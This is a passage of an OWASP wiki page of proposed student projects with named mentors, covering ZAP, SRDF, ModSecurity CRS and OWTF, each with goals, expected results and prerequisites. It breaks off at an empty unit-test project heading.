===OWASP ZAP: Exploring Advanced reporting using BIRT===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
BIRT (Business Intelligence and Reporting Tools) is an open source development framework used for report development. The objective of the project is to explore the development of advance reports in OWASP ZAP using the BIRT Report Designer, which is a an Eclipse plug-in that utilizes BIRT technologies.&lt;br /&gt;
&lt;br /&gt;
Reports can be designed using the BIRT Report Designer; however a complete integration within OWASP ZAP is the ideal solution. This can be achieve integrating BIRT with OWASP ZAP since  the reporting application does not require the BIRT Report Designer user interface to generate a report.&lt;br /&gt;
The org.eclipse.birt.report.engine.api package contains the classes and interfaces that an application uses to generate reports. The main classes and interfaces are ReportEngine, EngineConfig, IReportRunnable, IRenderOption and its descendants, and IEngineTask and its descendants.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
*Installed and Configured BIRT Environment into the Eclipse OWASP ZAP project ( this can be delivered as an independent project)&lt;br /&gt;
*Analysis report of the pros-and cons of using BIRT within OWASP ZAP as reporting tool&lt;br /&gt;
*Be able to Generate reports from the application using the BIRT report engine API.&lt;br /&gt;
*Creation of prototype reports regarding the results output of the Sessions &amp;amp; attacks such as: Alerts, History, Search etc.&lt;br /&gt;
*A new user interface for generating reports which is easy to use and provides the user with a wide range of options.&lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Johanna Curiel'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP - SAML 2.0 Support===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
SAML 2.0 is an XML-based federated single sign-on (FSSO) protocol that uses security tokens containing assertions to pass information about a principal (usually an end user) between a SAML authority, that is an identity provider, and a SAML consumer, that is a service provider. SAML 2.0 enables web-based authentication and authorization scenarios including cross-domain single sign-on (SSO). SAML specifications support many ways, called profiles and bindings, to generate and transport assertions between trusted entities The Web Browser SSO profile is of particular interest here since it enables web applications from 2 separate domains to leverage SSO easily by exchanging assertions via a web browser session.&lt;br /&gt;
&lt;br /&gt;
ZAP provides various mechanisms which allow HTTP requests and responses to be changed dynamically. This project will enhance those capabilities to be able to detect and fuzz various elements and attributes of a SAML Assertion.&lt;br /&gt;
&lt;br /&gt;
The scope of this project is limited to the following SAML bindings, profiles and protocols:&lt;br /&gt;
&lt;br /&gt;
Profiles :&lt;br /&gt;
* Web Browser SSO &lt;br /&gt;
&lt;br /&gt;
Bindings:&lt;br /&gt;
* HTTP POST&lt;br /&gt;
* HTTP Redirect &lt;br /&gt;
&lt;br /&gt;
Protocols:&lt;br /&gt;
* Authentication Request Protocol &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This component would enable ZAP to:&lt;br /&gt;
* Detect SAML Assertions in HTTP requests and responses&lt;br /&gt;
* Decode SAML Assertions&lt;br /&gt;
* Fuzz various entities and attributes within a SAML assertion&lt;br /&gt;
* Re-encode the assertion and send it forward &lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
Users would have a choice either to fuzz the attributes within an assertion or just add/remove arbitrary attribute (to check for XML and SAML Schema Conformance).&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML and SAML 2.0 Protocol. Some knowledge of application security would be useful, but not essential. Understanding of SSO and Federated SSO is preferred.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Prasad N. Shenoy'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: SOCKS support===&lt;br /&gt;
&lt;br /&gt;
This project is to extend ZAP to act as an intercepting proxy for SOCKS 4 and 5.&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Suggested phases include:&lt;br /&gt;
&lt;br /&gt;
* Identifying suitable Java SOCKS libraries&lt;br /&gt;
* Evaluating the SOCKS support other security tools provide (eg Mallory and Burp)&lt;br /&gt;
* Enhance ZAP to provide an option to use SOCKS for all outgoing connections&lt;br /&gt;
* Enhance ZAP to act as invisible SOCKS proxy&lt;br /&gt;
* Display the SOCKS data in ZAP&lt;br /&gt;
* Support searching of SOCKS data&lt;br /&gt;
* Support breaking and changing the data manually&lt;br /&gt;
* Support fuzzing SOCKS data&lt;br /&gt;
* Support SOCKS authentication &lt;br /&gt;
&lt;br /&gt;
The ZAP WebSockets addon should be used as an indication of how this could be achieved both technically and visually, but should not limit the implementation.&lt;br /&gt;
&lt;br /&gt;
Each phase should be tested against 3rd party tools which use SOCKS and include stand alone unit tests. &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
ZAP will be able to act as a SOCKS proxy, displaying the data sent and allowing it to be intercepted and changed. &lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Simon Bennetts - OWASP ZAP Project Leader'''&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: CMS Scanner ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
A Content Management System (CMS) is a computer program that allows publishing, editing and modifying content as well as maintenance from a central interface. Such systems of content management provide procedures to manage workflow in a collaborative environment. These procedures can be manual steps or an automated cascade.&lt;br /&gt;
&lt;br /&gt;
The first content management system (CMS) was announced at the end of the 1990s. This CMS was designed to simplify the complex task of writing numerous versions of code and to make the website development process more flexible. CMS platforms allow users to centralize data editing, publishing and modification on a single back-end interface. CMS platforms are often used as blog software.&lt;br /&gt;
in this project we are going to build a ZAP extension for CMS scanning (with enhanced search methdes)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
A ZAP add-on to help the user in the process of identifying vulnerabilities in his CMS with a :&lt;br /&gt;
* Numeration of the version of the CMS&lt;br /&gt;
* Numeration of Plugins and Components in the CMS&lt;br /&gt;
* Enumerating different Vulns. in the core, plugins or templates    &lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Mennouchi Islam Azeddine'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP Security Research and Development Framework ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This is a free open source Development Framework created to support writing security tools and malware analysis tools. And to convert the security researches and ideas from the theoretical approach to the practical implementation. &lt;br /&gt;
&lt;br /&gt;
This development framework created mainly to support the malware field to create malware analysis tools and anti-virus tools easily without reinventing the wheel and inspire the innovative minds to write their researches on this field and implement them using SRDF. &lt;br /&gt;
&lt;br /&gt;
'''Targeted Applications:'''&lt;br /&gt;
&lt;br /&gt;
* Packet Analysis Tools (Personal Firewalls, HIDS/HIPS, WAF, Network Analysis, Network Capture)&lt;br /&gt;
* Malware Analysis Tools (Static, Dynamic, Behavioral)&lt;br /&gt;
* Antivirus and Virus Removal Tools (Signature-based, Behavioral-based)&lt;br /&gt;
&lt;br /&gt;
'''Features:'''&lt;br /&gt;
&lt;br /&gt;
The User Mode Features: &lt;br /&gt;
&lt;br /&gt;
* Assembler and Disassembler &lt;br /&gt;
* x86 Emulator &lt;br /&gt;
* Debugger &lt;br /&gt;
* PE Analyzer &lt;br /&gt;
* Process Analyzer (Loaded DLLs, Memory Maps … etc) &lt;br /&gt;
* MD5, SSDeep and Wildlist Scanner (YARA) &lt;br /&gt;
* API Hooker and Process Injection &lt;br /&gt;
* Backend Database, XML Serializer &lt;br /&gt;
* Packet Analysis Tool and Session Separation&lt;br /&gt;
* Protocol Analyzers for TCP,UDP,ICMP,ARP and Application Layer like HTTP and DNS&lt;br /&gt;
* and many more&lt;br /&gt;
&lt;br /&gt;
The Kernel Mode Features:&lt;br /&gt;
 &lt;br /&gt;
* Object-oriented and easy to use development framework &lt;br /&gt;
* Easy IRP dispatching mechanism &lt;br /&gt;
* SSDT Hooker &lt;br /&gt;
* Layered Devices Filtering &lt;br /&gt;
* TDI Firewall &lt;br /&gt;
* File and Registry Manager &lt;br /&gt;
* Kernel Mode easy to use internet sockets &lt;br /&gt;
* Filesystem Filter &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Future Plan'''&lt;br /&gt;
 &lt;br /&gt;
we need to do the following:&lt;br /&gt;
&lt;br /&gt;
*  WOW64 Hooker (Hooking system calls on wow64 processes .. it will be like an API hooker in a wrapper dll inside the wow64 processes)&lt;br /&gt;
*  Improve our Kernel-Mode part to work on 64-bits and to implement NDIS, Kernel Sockets and Packet Filtering System (as we support TDI only and it's out-date)&lt;br /&gt;
*  We need to implement SRDF in linux ... implement the file parsers and the packet analysis is easy .. but we need to implement memory analysis on linux and so on &lt;br /&gt;
*  We need to improve the static analysis tools .. we need to implement the X-RAY and Recursive Disassembler Tool&lt;br /&gt;
*  we need to improve our dynamic analysis tools ... we need to support more APIs in Pokas Emulator and need more beta-testing&lt;br /&gt;
*  we need to create a tool that do emulation and debugging (we have a debugger in SRDF) for beta-testing&lt;br /&gt;
*  we need to improve the Behavioral Analysis Tools ... if you have ideas in behavioral analysis that's will be great&lt;br /&gt;
*  we need to implement more file formats like swf and rtf&lt;br /&gt;
*  we need to implement srdf in python using SWIG&lt;br /&gt;
*  we need more improvement on memory usage and detecting memory-leaks&lt;br /&gt;
*  we need to implement OpenSBI virus classification file format&lt;br /&gt;
*  we need to collect static unpacking codes (static means no debugger, no breakpoints, no kernel-mode and no emulator . just decrypt using equations) for known unpackers like upx, fsg and so on. as a library for developers&lt;br /&gt;
*  we need to implement zip library to decompress and rar library for the same&lt;br /&gt;
*  we need a Process Analyzer for 64 applications .. and could it be done by a wow64 process?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
We need variety of skills in different languages and platforms. We need a good knowledge in C++ in windows. We need a python developer for integrating SRDF in python. We need C++ developers have a good knowledge in Assembly (for working in disassembling part) and we need C++ developers have a knowledge in Kernel-Mode(for Kernel-Mode improvement and beta-testing)&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Amr Thabet - OWASP Security Research and Development Framework Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create &amp;quot;Sniffer-Mode&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' &lt;br /&gt;
&lt;br /&gt;
The ModSecurity code includes a &amp;quot;standalone&amp;quot; version that wraps a light weight Apache/APR around the ModSecurity code.  This is used as the basis for the ports to the IIS/Nginx web server platforms.  The goal for this project task is to extend this standalone version so that it can accept a data feed of network traffic (e.g. libpcap) data as input and apply the ModSecurity CRS rules.  One possible solution would be create a ModSecurity &amp;quot;plugin&amp;quot; for the Snort IDS.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This new sniffer mode would allow organizations to run ModSecurity/OWASP ModSecurity CRS in an out of line mode as they do IDS systems.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Port to Java ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' &lt;br /&gt;
&lt;br /&gt;
The goal is to have a ModSecurity version that can be used within Java servers (e.g. Tomcat).  There may be methods to use JNI to call the standalone code from a filter in Tomcat.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
This new version allow organizations to run ModSecurity/OWASP ModSecurity CRS in Java web servers.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Implement libinjection Code ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-327&lt;br /&gt;
&lt;br /&gt;
libinjection (https://github.com/client9/libinjection) is a C library that detects SQLi attacks in user input. It is designed to be embedded in existing or new applications:&lt;br /&gt;
&lt;br /&gt;
*Fast &amp;gt; 100k inspections per second&lt;br /&gt;
*No memory allocation&lt;br /&gt;
*No threads&lt;br /&gt;
*Stable memory usage (approximately 500 bytes on stack)&lt;br /&gt;
*500 lines of C code (plus a few kiobytes of data)&lt;br /&gt;
&lt;br /&gt;
It is based on lexical analysis of SQL and SQLi attempts and does not use regular expressions.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new C code in ModSecurity will allow us to add new SQL Injection detection methods to the OWASP ModSecurity CRS.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Implement DoS Prevention Code ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-265&lt;br /&gt;
&lt;br /&gt;
Implement a request velocity learning engine to identify dynamic DoS thresholds for both the site and for the particular URL.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new C code in ModSecurity will allow us to add new DoS Protection methods to the OWASP ModSecurity CRS.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create a Positive Learning/Profile Engine ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:''' https://www.modsecurity.org/tracker/browse/MODSEC-193&lt;br /&gt;
&lt;br /&gt;
ModSecurity needs a profiling engine that implements the various AppSensor Detection Points - http://blog.spiderlabs.com/2011/08/implementing-appsensor-detection-points-in-modsecurity.html.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The new engine will implement more detection points to detect abnormal request attributes.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP ModSecurity CRS - Create an Engine to Detect Application Flow Anomalies ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Need an engine that can track normal application flow paths (click-flows) for business logic transactions - such as transferring money from accounts.  After profiling normal application path flows, we want to then be able to alert to anomalies.  This type of logic can help to prevent Banking Trojan attacks.&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
The engine will be able to alert on anomalous application flows.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
C programming and ModSecurity Development Guidelines - http://www.modsecurity.org/developers/.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Ryan Barnett - OWASP ModSecurity Core Rule Set Project Leader'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Stateful Browser with configurable authentication ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
The automated functionality of OWASP OWTF is currently limited to the non-authenticated portion of a website. We would like to implement authentication support through:&lt;br /&gt;
&lt;br /&gt;
1) OWTF parameters&lt;br /&gt;
&lt;br /&gt;
2) Configuration files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What we would like to do here is to leverage the [http://wwwsearch.sourceforge.net/mechanize/ powerful mechanize python library] and build at least support for the following authentication options:&lt;br /&gt;
* Basic authentication - As requested here: [https://github.com/7a/owtf/issues/9 https://github.com/7a/owtf/issues/9]. .&lt;br /&gt;
* Cookie based authentication&lt;br /&gt;
* Form-based authentication&lt;br /&gt;
&lt;br /&gt;
Additionally, we would welcome here a feature to detect when the user has been logged off, to log OWTF back in again before retrying the next request. &amp;lt;-- The proxy is probably a better place to implement this since external tools would also benefit from this. This feature will have to be coordinated with the MiTM proxy project below.&lt;br /&gt;
&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* High performance&lt;br /&gt;
* Reliability&lt;br /&gt;
* Ease of use&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with the mechanize library or HTTP state is very welcome but not strictly necessary, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Inbound Proxy with MiTM and caching capabilities ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
At the moment one of the most seriously lacking features of OWASP OWTF is the Inbound proxy. Desired features here include:&lt;br /&gt;
* Proxy mode: Ability to start OWTF in &amp;quot;proxy mode&amp;quot; so that a human can review a site manually while taking advantage of all the OWTF grep plugins, without launching any tools.&lt;br /&gt;
* Proxy cache: At present, OWTF runs external tools to save time to a human pentester, the proxy cache would make OWTF smart enough to make external tools use the OWTF proxy and then avoid sending identical requests to the site (i.e. if 30 tools run by OWTF try to request X, OWTF will only make 1 request and not 30 anymore). OWTF should also be smart enough to use its own cache obviously :). The cache should be smart enough to detect lack of disk space and crashing :).&lt;br /&gt;
* Proxy throttling: We would like the proxy to auto-adjust speed to the speed of the target (i.e. based on how slower response times are getting) in a configurable fashion&lt;br /&gt;
* Proxy retry: We would like to have the ability to retry failed requests in an automated fashion for a configurable number of times &lt;br /&gt;
* Proxy MiTM: Proxy Man in The Middle capabilities are a must on any web app security tool. We need the ability to create a fake certificate on the fly to intercept and be able to analyse communications going to and from an &amp;quot;https&amp;quot; site.&lt;br /&gt;
* HTTP Transaction storage: The whole point here is of course, to store the HTTP transactions in the same way &lt;br /&gt;
&lt;br /&gt;
Potential python libraries and references that could help here are: &lt;br /&gt;
* http://twistedmatrix.com/documents/10.0.0/api/twisted.web.proxy.Proxy.html&lt;br /&gt;
* https://github.com/moxie0/sslstrip&lt;br /&gt;
* https://github.com/7a/owtf/tree/master/framework/http &amp;lt;-- Current WIP OWTF state in this regard&lt;br /&gt;
&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Additional Information and Suggestions (based on student questions):'''&lt;br /&gt;
* &amp;quot;Inbound&amp;quot; is used here to differenciate from the existing outbound proxy functionality in OWTF (-x switch), in practice, the &amp;quot;inbound&amp;quot; proxy will have to refactor/reimplement the &amp;quot;outbound&amp;quot; proxy functionality: Therefore this is both inbound and outbound obviously.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Increased overall performance: We should only be sending each probe once ever if several tools try to send the same HTTP request multiple times.&lt;br /&gt;
* Additional HTTP transactions logged for analysis&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, previous exposure to Twisted Proxy or other python HTTP proxies will be very welcome here, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Reporting ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
A common complaint about OWASP OWTF so far has been that the report is not very shiny. The intention here is to:&lt;br /&gt;
* Move as much of the HTML away from python files into template files: This will facilitate web designer's work in the future.&lt;br /&gt;
* Apply some nice web design to the report so that it is more nice and comfortable to work with: Clear the HTML, CSS, etc&lt;br /&gt;
* Identify and fix areas of improvement in click flow: For example, try to reduce the distance to move the mouse (mouse is sweeping left to right all the time now to rank vulnerabilities and then click on the next plugin)&lt;br /&gt;
* Improve the interactive report load time: The report will be pretty big when you scan 30+ websites, we might have to change things so that each plugin is retrieved via AJAX instead of loading every iframe on load&lt;br /&gt;
* Reduce the interactive report load and improve responsiveness: Big reports can take a few seconds to load and warnings like &amp;quot;this site is not responding&amp;quot; are undesired, we would like to reduce the HTML and JavaScript load to make the report faster to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Additional Information and Suggestions (based on student questions):'''&lt;br /&gt;
&lt;br /&gt;
* Play with the interactive reports to see where we are now (get the OWTF 0.15 one, &amp;lt;b&amp;gt;no need to install anything&amp;lt;/b&amp;gt;): [https://github.com/7a/owtf_demos https://github.com/7a/owtf_demos]&lt;br /&gt;
* Reports are created with [https://github.com/7a/owtf/tree/master/framework/report https://github.com/7a/owtf/tree/master/framework/report] and [https://github.com/7a/owtf/tree/master/includes https://github.com/7a/owtf/tree/master/includes] producing interactive reports such as [https://github.com/7a/owtf_demos https://github.com/7a/owtf_demos]&lt;br /&gt;
* How it works at the moment: Each plugin creates its own small report which is loaded by the main report in an iframe, this will make more sense when you play with the interactive demos and look at the source.&lt;br /&gt;
* How the report is meant to be used: I would suggest to watch the live demos in this talk to get the drift of this (Demos start after 1h approx.): [http://www.rubcast.rub.de/index2.php?id=1009 http://www.rubcast.rub.de/index2.php?id=1009]&lt;br /&gt;
* How the report is created now: Each plugin report is created right after each plugin finishes, then the master report is reassembled again: This approach is not very efficient so I am open to alternatives. Not all plugins run tools, some plugins run OWTF checks. But the report will be re-written each time a plugin finishes (using the current approach)&lt;br /&gt;
* Report output file formats at the moment are: .txt (for tool output and some checks) and .html (for tool output and the report itself)&lt;br /&gt;
* Project documentation links: [https://github.com/7a/owtf/tree/master/readme https://github.com/7a/owtf/tree/master/readme], [https://github.com/7a/owtf/wiki https://github.com/7a/owtf/wiki], [http://www.slideshare.net/abrahamaranguren/presentations http://www.slideshare.net/abrahamaranguren/presentations]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* The first reaction when an OWASP OWTF users opens the report is now &amp;quot;wow&amp;quot;&lt;br /&gt;
* The report is reliable and easy to work with, even when more than 30 URLs have been assessed (i.e. a lot of data in the report does not crash or make the browser slow)&lt;br /&gt;
* The improved design is lightweight and keeps the browser responsive at all times&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
HTML, JavaScript, CSS and a bit of Python. Web Designer background or experience would be beneficial for this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Multiprocessing ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
OWASP OWTF can be quite slow when scanning multiple URLs simultanously due to not scanning several hosts in parallel. We would like to use the multiprocessing python library over the threading one to take full advantage of multi-core processors without the global interpreter lock (GIL) issues associated with the threading libary :)&lt;br /&gt;
* We would like to scan in parallel several websites when on a different IP: &lt;br /&gt;
* We would like to monitor the host machine resources to avoid crashing it before spawning new processes :)&lt;br /&gt;
* We would like to run plugins in parallel as much as possible but without compromising integrity: Using file locks where appropriate and so on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Additional Information (based on student questions):'''&lt;br /&gt;
&lt;br /&gt;
OWTF works by targets, where a target can be:&lt;br /&gt;
* A URL: For web plugins&lt;br /&gt;
* Anything else (i.e. an email, an IP address): For aux plugins&lt;br /&gt;
&lt;br /&gt;
This is done here: [https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L257 https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L257]&lt;br /&gt;
&lt;br /&gt;
For multiprocessing you would probably need to change the following so that a new process is launched for each IP address:&lt;br /&gt;
[https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L271 https://github.com/7a/owtf/blob/master/framework/plugin/plugin_handler.py#L271]&lt;br /&gt;
&lt;br /&gt;
The way it works is that the plugin handler sends URLs to the plugins, so plugins are responsible for the checks while the plugin handler is responsible for distributing the work. This means multiprocessing will require changing the plugin handler but should not require to change the plugins (at least most of them).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Reliability&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, multiprocessing experience would be beneficial for this, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - SQL database ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
OWASP OWTF scans may take a large amount of disk space due to saving information in text files, we would like to add an option to use a SQL database, probably using the sqlalchemy python library.&lt;br /&gt;
* Keep the current text file format as an option&lt;br /&gt;
* Add a database storage option using the sqlalchemy library &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Reliability: Both with the sql database option and the text file options.&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, sqlalchemy experience would be beneficial for this&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Unit Test Framework ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
